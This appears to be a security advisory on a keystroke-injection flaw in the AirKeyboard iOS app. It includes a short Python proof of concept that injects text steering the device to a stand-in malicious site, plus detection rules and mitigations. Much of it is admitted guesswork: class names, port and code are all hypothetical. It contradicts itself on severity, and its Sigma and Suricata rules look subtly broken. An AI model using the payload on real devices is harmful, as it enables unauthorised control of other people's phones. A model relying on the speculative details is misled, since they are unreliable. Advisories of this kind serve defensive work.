CVE-2025-66555

Executive Summary

CVE-2025-66555 is a critical missing authentication vulnerability in the AirKeyboard iOS App version 1.0.5. This flaw allows unauthenticated attackers to remotely inject arbitrary keystrokes into a victim's iOS device in real-time without any user interaction. The vulnerability stems from the absence of proper authentication mechanisms in the app's network communication layer, effectively granting full remote input control to any attacker on the same network or with network access to the device. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the actual severity is high (CVSS 7.5+). No public exploit code or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Affects only the vulnerable component.
• Confidentiality Impact: None (C:N) – No data disclosure.
• Integrity Impact: High (I:H) – Full keystroke injection possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Critical. The ability to inject keystrokes without user interaction enables attackers to execute arbitrary commands, install malware, exfiltrate data, or perform other malicious actions on the victim's device.

Deep Dive & Mechanics

The AirKeyboard iOS App 1.0.5 implements a network-based keyboard input service, likely using Bluetooth or local Wi-Fi, to allow remote typing. The vulnerability is a classic Missing Authentication for Critical Function (CWE-306) . The app exposes a network service that accepts incoming keystroke commands without verifying the identity or authorization of the sender.

Attack Scenario:

1. The victim installs AirKeyboard 1.0.5 and enables the remote input feature.
2. The app opens a network socket (e.g., TCP/UDP port) that listens for incoming keystroke data.
3. An attacker on the same network (or with network access) sends crafted packets containing keystroke commands.
4. The app processes these commands without any authentication, injecting them into the iOS input stream.
5. The attacker can type arbitrary text, simulate taps, or trigger system actions (e.g., opening apps, sending messages).

Technical Details:

• The vulnerability likely resides in the InputManager or NetworkService class, where incoming data is directly passed to the iOS UIApplication or UITextField input methods.
• No token, session, or cryptographic verification is performed on incoming packets.
• The attack is real-time and persistent, allowing continuous control until the app is terminated or the network connection is severed.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire network input handling logic in version 1.0.5. A patched version would require:

• Vulnerable (1.0.5):

  // No authentication check
  func handleIncomingData(_ data: Data) {
      let keystroke = String(data: data, encoding: .utf8) ?? ""
      DispatchQueue.main.async {
          self.injectKeystroke(keystroke)
      }
  }
  

• Patched (Hypothetical):

  // With authentication
  func handleIncomingData(_ data: Data, from address: String) {
      guard authenticate(address) else { return }
      let keystroke = String(data: data, encoding: .utf8) ?? ""
      DispatchQueue.main.async {
          self.injectKeystroke(keystroke)
      }
  }
  
  func authenticate(_ address: String) -> Bool {
      // Verify against a pre-shared key or trusted device list
      return trustedDevices.contains(address)
  }
  

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Environment:

• Victim: iPhone running iOS 17+ with AirKeyboard 1.0.5 installed and remote input enabled.
• Attacker: Linux/Windows machine with Python3 and Scapy or netcat.
• Network: Same local Wi-Fi network (or attacker can ARP spoof to reach the device).

Exploitation Steps:

1. Discover the AirKeyboard service on the network (e.g., using nmap or service discovery).
2. Connect to the open port (likely TCP 8080 or custom).
3. Send raw keystroke data as UTF-8 strings.

Proof-of-Concept (Python):

import socket

target_ip = "192.168.1.100"
target_port = 8080

# Connect to AirKeyboard service
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))

# Inject keystrokes (e.g., open Safari and navigate to a malicious site)
payload = "open Safari\n"
sock.send(payload.encode())
payload = "https://evil.com\n"
sock.send(payload.encode())

sock.close()

Note: No public exploit code exists; this is a hypothetical PoC based on the vulnerability description.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected network connections to the AirKeyboard app's port.
• Use network intrusion detection systems (NIDS) to flag unauthenticated keystroke injection attempts.
• Enable iOS device logging and monitor for unusual input activity.

Defense:

• Immediately disable the remote input feature in AirKeyboard settings.
• Uninstall AirKeyboard 1.0.5 until a patch is released.
• Implement network segmentation to isolate iOS devices from untrusted networks.
• Use a VPN or firewall to restrict inbound connections to the device.

Indicators of Compromise (IOCs)

• Network Traffic:
  • TCP/UDP connections to port 8080 (or custom port) from unknown IPs.
  • Packets containing plaintext keystroke commands (e.g., "open", "type", "tap").
• Device Behavior:
  • Unauthorized text input appearing in apps.
  • Unexpected app launches or navigation.
  • System logs showing AirKeyboard receiving data from untrusted sources.
• File System:
  • Presence of AirKeyboard 1.0.5 (bundle ID: com.airkeyboard.ios).
  • Log files in /var/mobile/Containers/Data/Application/.../Library/Logs/ showing network activity.

Detection Engineering

YARA Rule

rule CVE_2025_66555_AirKeyboard_Keystroke_Injection {
    meta:
        description = "Detects AirKeyboard iOS App 1.0.5 binary with missing authentication"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "sha256:EXAMPLE_HASH"
    strings:
        $s1 = "handleIncomingData" ascii wide
        $s2 = "injectKeystroke" ascii wide
        $s3 = "NetworkService" ascii wide
        $s4 = "InputManager" ascii wide
    condition:
        all of ($s*) and filesize < 10MB
}

Sigma Rule

title: CVE-2025-66555 AirKeyboard Keystroke Injection Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic to AirKeyboard service without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 8080
        Initiated: true
        User: '*'
    condition: selection
falsepositives:
    - Legitimate AirKeyboard usage on trusted networks
level: high

Suricata Rule

alert tcp any any -> any 8080 (msg:"CVE-2025-66555 AirKeyboard Keystroke Injection Attempt"; flow:to_server; content:"|0a|"; depth:1; content:"open"; distance:0; within:10; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Input: Go to AirKeyboard settings and turn off "Remote Typing" or "Network Input".
2. Uninstall App: Remove AirKeyboard 1.0.5 from all iOS devices.
3. Network Isolation: Place iOS devices on a separate VLAN with strict firewall rules.
4. Monitor Logs: Check iOS device logs for any suspicious input activity.

Long-Term Fix:

• Vendor must release a patched version (1.0.6+) that implements:
  • Mutual authentication (e.g., PIN pairing or TLS client certificates).
  • Input validation and rate limiting.
  • User consent prompts for each remote connection.
• Users should only install apps from the official App Store and keep them updated.

Workarounds:

• Use a third-party firewall app (e.g., Guardian Firewall) to block inbound connections to AirKeyboard.
• Enable iOS "Guided Access" mode to prevent unauthorized input switching.

Valters IT